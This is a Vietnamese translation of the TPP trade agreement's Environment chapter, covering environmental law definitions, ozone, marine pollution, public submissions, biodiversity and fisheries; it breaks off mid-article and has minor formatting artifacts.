markdown:
**Chương 20** **MÔI TRƯỜNG**
Trong chương này:
**Luật môi trường** là một đạo luật hay quy định của một Bên, hoặc điều khoản trong đó, bao gồm bất kỳ nội dung nào về việc thực hiện nghĩa vụ của Bên đó theo một thỏa thuận môi trường đa phương, với mục đích chính là bảo vệ môi trường, hoặc ngăn ngừa một mối nguy hiểm cho đời sống hoặc sức khỏe con người, thông qua:
(a) Việc phòng ngừa, hạn chế hoặc kiểm soát việc xả hoặc thải các chất gây ô nhiễm;
(b) Việc kiểm soát các chất hóa học, vật chất, vật liệu hoặc chất thải nguy hại hoặc độc hại với môi trường, và việc phổ biến các thông tin có liên quan đến các chất đó; hoặc
(c) Việc bảo vệ hoặc bảo tồn động thực vật hoang dã, bao gồm các loài nguy cấp, môi trường sống của chúng, và khu vực tự nhiên được bảo vệ đặc biệt1, 2
Nhưng không bao gồm một quy chế hoặc quy định hoặc điều khoản nào trong đó liên quan trực tiếp đến an toàn và sức khoẻ của người lao động, và không bao gồm bất kỳ đạo luật hoặc quy định hoặc điều khoản nào trong đó có mục đích chính là quản lý sự tồn tại và thu hoạch nguyên thủy tài nguyên thiên nhiên; và
**Quy chế hoặc quy định **nghĩa là:
Đối với Australia, là một đạo luật của Quốc hội Liên bang, hay một quy định được ban hành bởi Tổng đốc trong Hội đồng theo thẩm quyền theo một đạo luật của Quốc hội liên bang, có hiệu lực ở cấp trung ương của chính phủ;
Đối với Brunei Darussalam, là một đạo luật, luật lệ hoặc một Quy chế ban hành căn cứ vào Hiến pháp nước Brunei Darussalam, thi hành bởi Chính quyền của vua Sultan và Yang Di-Pertuan của Brunei Darussalam;
Đối với Canada, là một đạo luật của Quốc Hội Canada hoặc quy định được ban hành theo một đạo luật của Quốc hội Canada có hiệu lực bởi hoạt động của cấp trung ương của chính phủ;
Đối với Chile, là đạo luật của Quốc hội hoặc nghị định của Chủ tịch nước Cộng hoà, được ban hành bởi Hiến pháp chính trị của nước Cộng hòa Chile;
Đối với Nhật Bản, là một Luật của Nghị viện, một Điều lệ của chính phủ, hoặc một Pháp lệnh cấp Bộ và các đơn luật lệ khác được thành lập theo Luật của Nghị viện, là có hiệu lực do hành động của các cấp trung ương của chính phủ;
Đối với Canada, là một đạo luật của Quốc Hội hoặc quy định được ban hành theo một đạo luật của Quốc hội có hiệu lực bởi hoạt động của chính phủ liên bang;
Đối với Mexico, là một đạo luật của Quốc Hội hoặc quy định được ban hành theo một đạo luật của Quốc hội có hiệu lực bởi hoạt động của cấp liên bang của chính phủ;
Đối với New Zealand, là một đạo luật của Quốc Hội New Zealand hoặc quy định được ban hành theo một đạo luật của Quốc hội New Zealand do Tổng đốc trong Hội đồng, được thi hành bởi hành động của cấp trung ương của chính phủ;
Đối với Peru, là một đạo luật của Quốc hội, Nghị định hoặc Nghị quyết của Trung ương của Chính phủ ban hành để thực hiện một quy luật của Quốc hội có hiệu lực do hành động của các cấp trung ương của chính phủ;
Đối với Singapore, là một đạo luật của Quốc Hội hoặc quy định được ban hành theo một đạo luật của Quốc hội Singapore có hiệu lực bởi hoạt động của chính phủ Singapore;
Đối với Mỹ, là một đạo luật của Quốc Hội hoặc quy định được ban hành theo một đạo luật của Quốc hội có hiệu lực bởi hoạt động của cấp trung ương của chính phủ; và
Đối với Việt Nam, là một đạo luật của Quốc hội, pháp lệnh của Ủy ban thường vụ Quốc hội, hay một quy định do Trung ương của Chính phủ ban hành để thực hiện một luật của Quốc hội hay một pháp lệnh của Ủy ban thường vụ Quốc hội, có hiệu lực do hành động của các cơ quan trung ương của chính phủ.
1. Mục tiêu của chương này là để thúc đẩy thương mại hỗ trợ lẫn nhau và chính sách môi trường; thúc đẩy bảo vệ môi trường mức độ cao và thực thi có hiệu quả pháp luật về môi trường; và tăng cường năng lực của các Bên để giải quyết các vấn đề môi trường liên quan đến thương mại, bao gồm cả thông qua hợp tác.
2. Cân nhắc những ưu tiên và hoàn cảnh quốc gia tương ứng, các thành viên công nhận rằng sự hợp tác tăng cường để bảo vệ và bảo tồn môi trường và quản lý bền vững nguồn tài nguyên thiên nhiên của họ mang lại những lợi ích mà có thể đóng góp vào sự phát triển bền vững, tăng cường công tác quản trị môi trường của mình và bổ sung cho các mục tiêu của Hiệp định này.
3. Các Bên tiếp tục công nhận rằng không thích hợp để thiết lập hoặc sử dụng luật về môi trường của các Bên hoặc các biện pháp khác theo cách sẽ tạo thành một sự hạn chế trá hình đối với thương mại hoặc đầu tư giữa các Bên.
1. Các Bên thừa nhận tầm quan trọng của thương mại hỗ trợ lẫn nhau và chính sách và thông lệ về môi trường để cải thiện bảo vệ môi trường trong việc đẩy mạnh phát triển bền vững.
2. Các Bên thừa nhận chủ quyền của mỗi Bên trong việc thiết lập mức độ bảo vệ môi trường trong nước của riêng mình và những ưu tiên môi trường của mình, và trong việc thiết lập, thông qua hoặc sửa đổi các luật và chính sách môi trường cho phù hợp.
3. Mỗi Bên cần cố gắng đảm bảo rằng luật pháp và chính sách môi trường của mình quy định và khuyến khích công tác bảo vệ môi trường mức độ cao và tiếp tục cải thiện mức độ tương ứng của mình trong bảo vệ môi trường.
4. Không Bên nào không thực thi có hiệu quả pháp luật về môi trường của mình thông qua một quá trình kéo dài hoặc tái diễn hành động hoặc không hành động một cách có ảnh hưởng đến thương mại và đầu tư giữa các Bên, kể từ ngày Hiệp định này có hiệu lực đối với Bên đó.
5. Các Bên công nhận rằng mỗi Bên giữ lại các quyền tự quyết và đưa ra quyết định liên quan đến: (a) các vấn đề về điều tra, truy tố, quản lý và tuân thủ; và (b) sự phân bổ nguồn lực thực thi pháp luật về môi trường liên quan đến pháp luật khác về môi trường được xác định để đạt mức ưu tiên cao hơn. Theo đó, các Bên hiểu rằng, đối với việc thi hành pháp luật về môi trường, một Bên được coi là tuân thủ các quy định tại khoản 4 nếu một quá trình hành động hoặc không hành động phản ánh việc áp dụng hợp lý theo quyền quyết định đó, hoặc kết quả từ một quyết định ngay tình liên quan đến việc phân bổ các nguồn lực phù hợp với các ưu tiên cho việc thi hành pháp luật về môi trường của Bên đó.
6.Không nói tới quy định tại khoản 2, các thành viên công nhận rằng không thích hợp để khuyến khích thương mại hoặc đầu tư bằng việc làm suy yếu hoặc làm giảm sự bảo vệ trong luật môi trường tương ứng của mình. Theo đó, một Bên không được từ bỏ hoặc làm giảm, hoặc đề nghị từ bỏ hoặc làm giảm, các quy định trong luật môi trường của mình theo hướng làm suy yếu hoặc làm giảm sự bảo vệ trong các điều luật đó nhằm khuyến khích thương mại và đầu tư giữa các Bên.
7. Không có gì trong Chương này được hiểu là trao quyền cho các cơ quan của của một Bên để thực hiện các hoạt động thực thi pháp luật về môi trường trên lãnh thổ của một Bên khác.
[Điều 20.4: Các thỏa thuận môi trường đa phương]
1. Các Bên thừa nhận rằng các thỏa thuận môi trường đa phương mà họ tham gia đóng một vai trò quan trọng trên toàn cầu và trong nước trong việc bảo vệ môi trường. Các bên cũng thừa nhận rằng sự thực thi tương ứng của họ về các thỏa thuận này là rất quan trọng để thực hiện các mục tiêu về môi trường trong các thỏa thuận này.Theo đó, mỗi Bên khẳng định cam kết của mình để thực hiện các thỏa thuận môi trường đa phương mà Bên đó là thành viên.
2. Các Bên nhấn mạnh sự cần thiết phải tăng cường sự hỗ trợ lẫn nhau về pháp luật và chính sách về thương mại và môi trường, thông qua đối thoại giữa các Bên về các vấn đề thương mại và môi trường mà các Bên cùng quan tâm, đặc biệt là đối với việc đàm phán và thực hiện các thỏa thuận môi trường đa phương và các thỏa thuận thương mại có liên quan.
1. Các Bên thừa nhận rằng lượng khí thải của một số chất có thể làm suy giảm đáng kể, nói cách khác là làm thay đổi tầng ozone theo hướng ảnh hưởng xấu đến sức khỏe con người và môi trường. Theo đó, mỗi Bên phải có biện pháp để kiểm soát việc sản xuất, tiêu thụ, và kinh doanh các chất này.
3, 4, 5
2. Các Bên cũng công nhận tầm quan trọng của sự tham gia và tham vấn cộng đồng theo quy định của pháp luật hoặc chính sách tương ứng của mình trong sự phát triển và thực hiện các biện pháp liên quan đến việc bảo vệ tầng ozone. Mỗi Bên phải công bố công khai, thích hợp các thông tin về các chương trình và hoạt động của mình, bao gồm cả các chương trình hợp tác, có liên quan đến việc bảo vệ tầng ozone.
3. Theo quy định tại Điều 20.12 (Khung hợp tác), các Bên sẽ hợp tác để giải quyết các vấn đề cùng quan tâm liên quan đến các chất phá hủy tầng ozone. Hợp tác có thể bao gồm, nhưng không giới hạn ở việc trao đổi thông tin và kinh nghiệm trong lĩnh vực liên quan đến:
(a) các chất thân thiện với môi trường thay thế cho các chất suy giảm tầng ozone;
(b) các thông lệ, chính sách và chương trình quản lý chất làm lạnh;
(c) các phương pháp đo ozone ở tầng bình lưu; và
(d) đấu tranh chống buôn bán trái phép các chất phá hủy tầng ozone.
[Điều 20.6: Bảo vệ môi trường biển khỏi ô nhiễm từ tàu biển]
1. Các Bên thừa nhận tầm quan trọng của việc bảo vệ và giữ gìn môi trường biển. Với mục đích đó, mỗi Bên
phải có biện pháp để ngăn chặn tình trạng ô nhiễm môi trường biển từ tàu.
6, 7, 8
2. Các Bên cũng công nhận tầm quan trọng của sự tham gia và tham vấn cộng đồng theo quy định của pháp luật hoặc chính sách tương ứng của mình trong sự phát triển và thực hiện các biện pháp ngăn chặn ô nhiễm trường biển do tàu. Mỗi Bên cần công bố công khai các thông tin thích hợp về các chương trình và hoạt động của mình, bao gồm cả các chương trình hợp tác, có liên quan đến việc ngăn chặn ô nhiễm môi trường biển do tàu.
3. Theo Điều 20.12 (Khung hợp tác), các Bên sẽ hợp tác để giải quyết các vấn đề cùng quan tâm liên quan đến ô nhiễm môi trường biển do tàu. Các lĩnh vực hợp tác có thể bao gồm:
|
|
(a)
|
|
ô nhiễm từ tàu do tai nạn;
|
|
(b)
|
|
ô nhiễm từ các các hoạt động thường xuyên của tàu;
|
|
(c)
|
|
ô nhiễm có chủ ý từ tàu;
|
|
(d)
|
|
sự phát triển công nghệ nhằm giảm thiểu chất thải từ tàu
|
|
(e)
|
|
phát thải từ tàu;
|
|
(f)
|
|
sự đầy đủ của các cơ sở tiếp nhận chất thải cảng;
|
|
(g)
|
|
sự bảo vệ tăng cường trong khu vực địa lý đặc biệt; và
|
|
(h)
|
|
các biện pháp cưỡng chế bao gồm cả các thông báo để treo cờ quốc tịch thích hợp, bởi chính quyền cảng.
[Điều 20.7: Các vấn đề về thủ tục]
1. Mỗi Bên sẽ nâng cao nhận thức của công chúng về luật và chính sách về môi trường của mình, bao gồm cả thủ tục thực thi và tuân thủ, bằng cách bảo đảm rằng công chúng dễ dàng tiếp cận các thông tin liên quan.
2. Mỗi Bên bảo đảm rằng một người có liên quan cư trú hoặc hoạt động trong lãnh thổ của mình có thể yêu cầu cơ quan có thẩm quyền của Bên đó điều tra cáo buộc vi phạm pháp luật về môi trường của mình, và yêu cầu các nhà chức trách có thẩm quyền đưa ra những yêu cầu về xem xét các cáo buộc trên, phù hợp với pháp luật của nước mình.
3. Mỗi Bên bảo đảm rằng thủ tục tố tụng tư pháp, bán tư pháp hoặc thủ tục hành chính cho việc thi hành pháp luật về môi trường của nước mình được thực hiện theo pháp luật của mình và những thủ tục tố tụng là công bằng, minh bạch và tuân thủ các thủ tục pháp luật. Bất kỳ phiên tòa trong các thủ tục tố tụng sẽ được mở công khai, trừ khi cơ quan tư pháp có yêu cầu khác, và phù hợp với pháp luật của nước đó.
4. Mỗi Bên bảo đảm rằng những người có lợi ích công nhận theo luật pháp của mình trong một vấn đề cụ thể có quyền tiếp cận các thủ tục nêu tại khoản 3.
5. Mỗi Bên quy định các hình thức xử phạt hoặc biện pháp khắc phục thích hợp cho các vi phạm pháp luật về môi trường nhằm thi hành có hiệu quả các quy định pháp luật đó. Những biện pháp xử phạt hoặc biện pháp khắc phục trên có thể bao gồm quyền ban hành một hình thức xử phạt trực tiếp dành cho người vi phạm để gây ra sự thiệt hại hoặc giảm nhẹ, hay quyền yêu cầu hình thức xử phạt của chính phủ.
6. Mỗi Bên bảo đảm xem xét một cách thích hợp các yếu tố có liên quan đến việc thành lập các biện pháp trừng phạt hoặc xử phạt quy định tại khoản 5. Những yếu tố có thể bao gồm bản chất và tính nghiêm trọng của vi phạm, thiệt hại đối với môi trường và lợi ích kinh tế của người vi phạm thu được từ việc thực hiện các vi phạm.
[Điều 20.8: Cơ hội cho tham gia cộng đồng]
1. Mỗi Bên tìm cách đáp ứng các yêu cầu về thông tin liên quan tới việc thực hiện Chương này.
2. Mỗi Bên phải sử dụng các cơ chế tham vấn hiện có hoặc thiết lập cơ chế tham vấn mới, ví dụ như các ủy ban tư vấn quốc gia, nhằm tìm kiếm các quan điểm về các vấn đề liên quan đến việc thực hiện Chương này. Những cơ chế này có thể bao gồm những người có kinh nghiệm liên quan, khi thích hợp, bao gồm kinh nghiệm trong kinh doanh, bảo tồn và quản lý tài nguyên thiên nhiên, hoặc các vấn đề môi trường khác.
1. Mỗi Bên quy định việc tiếp nhận, xem xét văn bản đệ trình từ người của Bên đó liên quan đến việc thực hiện Chương này
9. Mỗi Bên sẽ phản hồi kịp thời các đệ trình bằng văn bản theo các thủ tục trong nước, và giúp cho dân chúng tiếp cận với đệ trình và các phản hồi, ví dụ bằng cách đăng trên một trang thông tin điện tử công cộng thích hợp.
2. Mỗi Bên thiết lập sao cho các thủ tục cho việc tiếp nhận và xem xét các văn bản đệ trình dễ tiếp cận và công khai, ví dụ bằng cách đăng trên một trang thông tin điện tử công cộng thích hợp. Các thủ tục này có thể quy định điều kiện để xem xét việc nộp nên như sau:
(a) được viết bằng một trong những ngôn ngữ chính thức của Bên nhận đệ trình;
(b) xác định rõ người lập đệ trình;
(c) cung cấp đầy đủ thông tin để cho phép cho việc rà soát việc đệ trình bao gồm bất kỳ tài liệu chứng cứ nào có thể có cho việc lập đệ trình;
(d) giải thích nguyên nhân và mức độ của các vấn đề phát sinh ảnh hưởng đến thương mại và đầu tư giữa các Bên;
(e) không đưa ra các vấn đề là đối tượng của thủ tục tố tụng tư pháp hoặc hành chính đang diễn ra; và
(f) cho biết vấn đề đã được thông báo bằng văn bản tới các cơ quan liên quan của Bên đó hay chưa và phản hồi của Bên đó nếu có.
3. Mỗi Bên sẽ thông báo cho các Bên khác các đối tượng chịu trách nhiệm tiếp nhận và phản hồi các đệ trình bằng văn bản quy định tại khoản 1 trong vòng 180 ngày kể từ ngày Hiệp định này có hiệu lực tại nước đó.
4. Nếu đệ trình khẳng định rằng một Bên đang không thực thi có hiệu quả pháp luật về môi trường của mình và theo các văn bản phản hồi cho Bên đó, bất kỳ Bên nào khác có thể yêu cầu Uỷ ban về Môi trường (Ủy ban) thảo luận về đề trình đó và trả lời bằng văn bản nhằm tiếp tục tìm hiểu các vấn đề được nêu ra trong đề trình và nếu thích hợp sẽ xem xét xem liệu vấn đề này có thể được hưởng lợi ích từ các hoạt động hợp tác.
5. Tại cuộc họp đầu tiên của mình, Uỷ ban sẽ lập thủ tục đệ trình để thảo luận về đề trình và các phản hồi mà một Bên tham khảo từ cuộc họp đó. Các thủ tục này có thể quy định việc sử dụng các chuyên gia hoặc các cơ quan hiện có để lập một bản báo cáo cho Ủy ban bao gồm các thông tin dựa trên những sự kiện có liên quan đến vấn đề này.
6. Không quá ba năm kể từ ngày Hiệp định này có hiệu lực, và sau đó là theo quyết định của các Bên, Uỷ ban sẽ báo cáo bằng văn bản cho Ủy ban TPP về việc thực hiện Điều này. Để chuẩn bị bản báo cáo này, mỗi Bên sẽ cung cấp một bản tóm tắt bằng văn bản liên quan đến các hoạt động thực hiện theo Điều này.
[Điều 20.10: Trách nhiệm xã hội ] [của doanh nghiệp]
Mỗi Bên cần khuyến khích các doanh nghiệp hoạt động trong phạm vi lãnh thổ và quyền tài phán của mình tự nguyện áp dụng vào các chính sách và thông lệ của họ những nguyên tắc trách nhiệm xã hội của doanh nghiệp có liên quan đến môi trường, phù hợp với các tiêu chuẩn đã được công nhận quốc tế và các hướng dẫn đã được xác nhận hoặc được hỗ trợ bởi Bên đó.
[Điều 20.11: Các cơ chế tự nguyện để nâng cao biểu hiện môi trường]
1. Các Bên thừa nhận rằng các cơ chế linh hoạt và tự nguyện, ví dụ, kiểm toán và báo cáo tự nguyện, ưu đãi dựa trên thị trường, chia sẻ tự nguyện thông tin và chuyên môn, và quan hệ đối tác công-tư, có thể đóng góp vào việc đạt được và duy trì bảo vệ môi trường mức độ cao và bổ sung các biện pháp quản lý trong nước. Các Bên cũng công nhận rằng những cơ chế cần được thiết kế theo cách tối đa hóa lợi ích môi trường của các Bên và tránh việc tạo ra các rào cản không cần thiết đối với thương mại.
2. Vì vậy, theo pháp luật, quy định hoặc chính sách của nước mình và trong phạm vi thích hợp, mỗi Bên sẽ khuyến khích:
(a) Việc sử dụng các cơ chế linh hoạt và tự nguyện để bảo vệ tài nguyên thiên nhiên và môi trường trong lãnh thổ của mình; và
(b) Các cơ quan có liên quan, các doanh nghiệp và các tổ chức kinh doanh, các tổ chức phi chính phủ và những người quan tâm khác tham gia vào sự phát triển của các tiêu chí được sử dụng để đánh giá biểu hiện môi trường, liên quan đến các cơ chế tự nguyện đó, để tiếp tục phát triển và nâng cao các tiêu chí trên.
3. Hơn nữa, nếu các tổ chức tư nhân hoặc các tổ chức phi chính phủ có cơ chế tự nguyện cho việc quảng bá các sản phẩm dựa trên chất lượng môi trường của họ, mỗi Bên cần khuyến khích các đơn vị và tổ chức phát triển các cơ chế tự nguyện sau:
(a) trung thực, không gây hiểu lầm và có xem xét qua các thông tin khoa học và kỹ thuật;
(b) được dựa trên các tiêu chuẩn quốc tế và các kiến nghị có liên quan hoặc các hướng dẫn và thông lệ tốt nhất nếu có thể;
(c) thúc đẩy cạnh tranh và đổi mới; và
(d) không áp dụng các quy định kém thuận lợi hơn đối với một sản phẩm trên cơ sở xuất xứ.
1. Các Bên công nhận tầm quan trọng của hợp tác như một cơ chế để thực hiện Chương này, để tăng cường lợi ích của việc hợp tác và tăng cường năng lực chung và cá nhân của các Bên tham gia bảo vệ môi trường và thúc đẩy phát triển bền vững khi các Bên tăng cường mối quan hệ thương mại và đầu tư.
2. Cân nhắc những ưu tiên và hoàn cảnh quốc gia của mình và các nguồn lực có sẵn, các Bên sẽ hợp tác để giải quyết các vấn đề quan tâm chung giữa các Bên tham gia liên quan đến việc thực hiện Chương này khi có lợi ích chung từ sự hợp tác này. Sự hợp tác này có thể được thực hiện trên cơ sở song phương hoặc đa phương giữa các Bên và, tùy thuộc vào sự đồng thuận của các Bên tham gia, có thể bao gồm các cơ quan phi chính phủ hoặc các tổ chức và các nước không tham gia Hiệp định này.
3. Mỗi Bên sẽ chỉ định một cơ quan hoặc chính quyền chịu trách nhiệm về hợp tác liên quan đến việc thực hiện Chương này để hoạt động như đầu mối quốc gia của Bên đó về các vấn đề có liên quan đến sự phối hợp của các hoạt động hợp tác và có trách nhiệm thông báo cho các Bên còn lại bằng văn bản trong vòng 90 ngày kể từ ngày Hiệp định này có hiệu lực ở nước đó đối với đầu mối quốc gia. Khi thông báo cho các Bên khác về đầu mối liên lạc của mình hoặc bất kỳ lúc nào thông qua các đầu mối, một Bên có thể:
(a) chia sẻ các ưu tiên của mình cho việc hợp tác với các Bên khác, bao gồm các mục tiêu của việc hợp tác đó; và
(b) đề xuất các hoạt động hợp tác liên quan đến việc thực hiện Chương này với một hoặc nhiều Bên khác.
4. Khi có thể và nếu thích hợp, các Bên cần bổ sung và sử dụng các cơ chế hợp tác hiện có của mình và xem xét các công việc có liên quan của các tổ chức khu vực và quốc tế.
5. Việc hợp tác có thể được thực hiện thông qua các phương tiện khác nhau bao gồm: đối thoại, hội thảo, trao đổi, hội nghị, các chương trình hợp tác và các dự án; hỗ trợ kỹ thuật để thúc đẩy và tạo điều kiện cho việc hợp tác và đào tạo; sự chia sẻ các thực tiễn tốt nhất về chính sách và thủ tục; và trao đổi chuyên gia.
6. Trong quá trình phát triển các hoạt động và các chương trình hợp tác, một Bên, nếu có liên quan, cần xác định các biện pháp thực hiện và các chỉ số để hỗ trợ việc kiểm tra và đánh giá hiệu quả và tiến độ của các hoạt động và quá trình của hoạt động và chương trình hợp tác cụ thể và chia sẻ những biện pháp và các chỉ số đó, cũng như kết quả của bất kỳ đánh giá trong hoặc sau khi hoàn thành một hoạt động hoặc một chương trình hợp tác với các Bên khác.
7. Các Bên, thông qua các đầu mối của họ cho sự hợp tác, định kỳ rà soát việc thực hiện Điều này và báo cáo các kết quả nghiên cứu của mình, trong đó có thể bao gồm các khuyến nghị, với các Ủy ban để thông báo việc rà soát theo Điều 20.19 (3) (c) (Ủy ban môi trường và các đầu mối). Thông qua Ủy ban, các Bên có thể định kỳ đánh giá sự cần thiết của việc chỉ định một tổ chức để cung cấp hỗ trợ về hành chính và hoạt động cho các hoạt động hợp tác. Nếu các Bên quyết định thành lập tổ chức đó, các Bên cần thoả thuận về việc tài trợ của các tổ chức trên cơ sở tự nguyện để hỗ trợ hoạt động của tổ chức.
8. Mỗi Bên sẽ thúc đẩy sự tham gia của công chúng trong việc phát triển và thực hiện các hoạt động hợp tác nếu thích hợp. Điều này có thể bao gồm các hoạt động như khuyến khích và tạo điều kiện cho việc tiếp xúc trực tiếp và hợp tác giữa các tổ chức có liên quan và việc ký kết các thoả thuận giữa họ để tiến hành các hoạt động hợp tác theo Chương này.
9. Khi một Bên đã xác định rằng các quy định pháp luật về môi trường theo Điều 20.1 chỉ bao gồm pháp luật ở cấp trung ương của chính phủ (Bên thứ nhất), và một Bên khác (Bên thứ hai) cho rằng một luật môi trường ở cấp dưới trung ương chính phủ Bên thứ nhất là không được thực thi có hiệu quả bởi chính phủ cấp dưới trung ương có liên quan thông qua một quá trình kéo dài hoặc tái diễn hành động hoặc không hành động theo hướng ảnh hưởng đến thương mại và đầu tư giữa hai Bên, Bên thứ hai có thể yêu cầu một cuộc đối thoại với Bên thứ nhất. Yêu cầu phải bao gồm các thông tin cụ thể và đầy đủ để Bên thứ nhất có thể đánh giá vấn đề và chỉ ra vấn đề đang ảnh hưởng tiêu cực như thế nào đến thương mại và đầu tư của Bên thứ hai.
10. Tất cả các hoạt động hợp tác theo quy định tại Chương này nằm trong phạm vi khả năng về vốn và nguồn nhân lực và các nguồn lực khác, và phải tuân thủ các đạo luật và quy định hiện hành của các Bên tham gia. Các Bên tham gia quyết định kinh phí cho các hoạt động hợp tác trên từng trường hợp cụ thể.
[Điều 20.13: Thương mại và Đa dạng sinh học]
1.Các Bên thừa nhận tầm quan trọng của việc bảo tồn và sử dụng bền vững đa dạng sinh học và vai trò quan trọng của họ đối với việc phát triển bền vững.
2
*. *Theo đó, mỗi Bên sẽ thúc đẩy và khuyến khích việc bảo tồn và sử dụng bền vững đa dạng sinh học theo pháp luật hoặc chính sách của mình.
3. Các Bên công nhận tầm quan trọng của việc tôn trọng, giữ gìn và duy trì kiến thức và thực tiễn của các cộng đồng bản địa và địa phương tiêu biểu cho lối sống truyền thống góp phần vào việc bảo tồn và sử dụng bền vững đa dạng sinh học.
4. Các Bên công nhận tầm quan trọng của tiếp cận thuận lợi nguồn gen trong khu vực pháp lý quốc gia của mình, phù hợp với các nghĩa vụ quốc tế của mỗi Bên. Các Bên tiếp tục công nhận rằng một số Bên yêu cầu được thông báo trước thông qua các biện pháp quốc gia việc cho phép tiếp cận nguồn gen đó phù hợp với các biện pháp quốc gia và, khi truy cập như vậy được thông qua, việc thành lập điều khoản cùng thỏa thuận, bao gồm các điều khoản liên quan đến việc chia sẻ lợi ích từ việc sử dụng các nguồn gen đó giữa người sử dụng và các nhà cung cấp.
5. Các Bên cũng công nhận tầm quan trọng của công chúng tham gia và tham vấn phù hợp với pháp luật hoặc chính sách tương ứng của mình trong sự phát triển và thực hiện các biện pháp liên quan đến việc bảo tồn và sử dụng bền vững đa dạng sinh học. Mỗi Bên thông tin công khai các chương trình và các hoạt động, bao gồm cả chương trình hợp tác, liên quan đến việc bảo tồn và sử dụng bền vững đa dạng sinh học.
6. Phù hợp với Điều 20.12 (Khung hợp tác), các Bên sẽ hợp tác để giải quyết các vấn đề quan tâm chung. Hợp tác có thể bao gồm nhưng không giới hạn ở việc trao đổi thông tin và kinh nghiệm trong các lĩnh vực liên quan đến:
(a) bảo tồn và sử dụng bền vững đa dạng sinh học;
(b) bảo vệ và duy trì các hệ sinh thái và các dịch vụ hệ sinh thái; và
(c) tiếp cận các nguồn gen và chia sẻ lợi ích phát sinh từ việc sử dụng các nguồn gen.
[Điều 20.14: Các loài ngoại lai xâm hại]
1. Các Bên công nhận rằng sự lây truyền của các loài ngoại lai xâm hại trên cạn và dưới nước qua biên giới thông qua con đường liên quan tới thương mại có thể ảnh hưởng xấu đến môi trường, hoạt động kinh tế và phát triển, và sức khỏe con người. Các Bên cũng thừa nhận rằng việc phòng ngừa, phát hiện, kiểm soát và, xoá (nếu được) các loài ngoại lai xâm hại là những chiến lược quan trọng để quản lý các tác động bất lợi.
2. Theo đó, Uỷ ban sẽ phối hợp với Uỷ ban về các biện pháp vệ sinh dịch tễ được lập theo quy định tại Điều 7.5 (Uỷ ban về các biện pháp vệ sinh dịch tễ) để xác định các cơ hội hợp tác nhằm chia sẻ các thông tin và kinh nghiệm quản lý về lây truyền, phòng ngừa, phát hiện, kiểm soát và tiêu diệt các loài ngoại lai xâm hại, nhằm tăng cường nỗ lực để đánh giá và giải quyết các rủi ro và tác động bất lợi của các loài ngoại lai xâm hại.
[Điều 20.15: Chuyển đổi sang một nền kinh tế phát thải thấp và mau phục hồi]
1. Các Bên thừa nhận rằng quá trình chuyển đổi sang nền kinh tế ít phát thải đòi hỏi hành động tập thể.
2. Các Bên thừa nhận rằng hành động của mỗi Bên để chuyển sang một nền kinh tế ít phát thải nên phản ánh hoàn cảnh và khả năng của nước mình và phải phù hợp với quy định tại Điều 20.12 (Khung hợp tác), các Bên cần hợp tác để giải quyết các vấn đề chung hoặc các vấn đề phổ biến. Các lĩnh vực hợp tác có thể bao gồm: hiệu quả năng lượng; sự phát triển của công nghệ chi phí thấp và ít phát thải, các nguồn năng lượng sạch sẽ và có thể tái tạo; giao thông vận tải bền vững và sự phát triển bền vững cơ sở hạ tầng đô thị; giải quyết việc phá rừng và suy thoái rừng; giám sát chất thải; cơ chế thị trường và phi thị trường; sự phát triển ít phát thải và mau phục hồi và chia sẻ thông tin và kinh nghiệm trong việc giải quyết vấn đề này. Hơn nữa, nếu thích hợp, các Bên sẽ tham gia vào các hoạt động hợp tác và xây dựng năng lực liên quan đến việc chuyển đổi sang nền kinh tế ít phát thải.
[Điều 20.16: Khai thác thủy sản biển] 10
1. Các Bên thừa nhận vai trò của mình như những người tiêu dùng chính, nhà sản xuất và nhà kinh doanh lớn đối với các sản phẩm thủy sản và tầm quan trọng của ngành thủy sản biển đối với phát triển của nước mình và đối với sinh kế của cộng đồng ngư dân trong nước, bao gồm cả thủy sản thủ công hoặc quy mô nhỏ. Các Bên cũng thừa nhận rằng điều không thể tránh khỏi của việc đánh bắt thủy hải sản là vấn đề tài nguyên cấp bách mà cộng đồng quốc tế phải đối mặt. Theo đó, các thành viên công nhận tầm quan trọng của các biện pháp nhằm bảo tồn và quản lý bền vững nghề cá.
2. Về vấn đề này, các Bên thừa nhận rằng quản lý nghề cá không đầy đủ, trợ cấp thủy sản đóng góp vào đánh bắt cá quá mức và quá tải, và bất hợp pháp, không báo cáo và không theo quy định (IUU)
11 có thể có tác động tiêu cực đáng kể đối với thương mại, phát triển và môi trường và công nhận sự cần thiết phải hành động cá nhân và tập thể để giải quyết các vấn đề của đánh bắt quá mức và sử dụng không bền vững nguồn lợi thủy sản.
3
*. *Theo đó, mỗi Bên phải tìm cách vận hành một hệ thống quản lý nghề cá có quy định về việc đánh bắt cá biển và được thiết kế với các mục đích:
(a) ngăn chặn đánh bắt quá mức và quá tải thủy sản;
(b) làm giảm đánh bắt ngoài kế hoạch các loài không phải mục tiêu và động vật chưa thành niên, bao gồm thông qua các quy định của ngư cụ gây ra việc đánh bắt ngoài kế hoạch trong khu vực nơi mà việc đánh bắt ngoài kế hoạch có thể xảy ra; và
(c) thúc đẩy sự phục hồi của đàn cá đã bị khai thác quá mức cho tất cả các nghề cá biển nơi mà người dân trong nước tiến hành các hoạt động đánh bắt.
Hệ thống quản lý này phải dựa trên các bằng chứng khoa học tốt nhất có sẵn và trên thông lệ tốt nhất được công nhận quốc tế cho việc quản lý và bảo tồn thủy sản như được phản ánh trong các điều khoản có liên quan trong các văn kiện quốc tế nhằm đảm bảo việc sử dụng bền vững và bảo tồn các loài sinh vật biển
12.
4. Mỗi Bên sẽ thúc đẩy việc bảo tồn lâu dài cá mập, rùa biển, chim biển và động vật có vú sống ở biển, thông qua việc thực hiện và thực thi hiệu quả các biện pháp bảo tồn và quản lý thích hợp. Các biện pháp này bao gồm:
(a) đối với cá mập: tập hợp dữ liệu cụ thể của các loài, biện pháp giảm thiểu đánh bắt ngoài kế hoạch, giới hạn đánh bắt, và cấm lấy vây cá;
(b) đối với rùa biển, chim biển và động vật có vú ở biển: biện pháp giảm thiểu đánh bắt ngoài kế hoạch, biện pháp bảo tồn và quản lý phù hợp, và các biện pháp khác theo quy định của điều ước quốc tế có liên quan mà nước đó là thành viên.
5.Các Bên thừa nhận rằng việc thực hiện một hệ thống quản lý nghề cá được thiết kế để ngăn chặn đánh bắt quá mức và quá tải và thúc đẩy sự phục hồi của đàn cá bị khai thác quá mức phải có sự kiểm soát, giảm thiểu và xóa bỏ tất cả các khoản trợ cấp đóng góp cho việc đánh bắt quá mức và quá tải. Với mục đích đó, không có Bên nào cấp hoặc duy trì bất kỳ các khoản trợ cấp
13sau đây theo quy định tại Điều 1.1 của Hiệp định SCM được cụ thể trong Điều 2 của Hiệp định SCM:
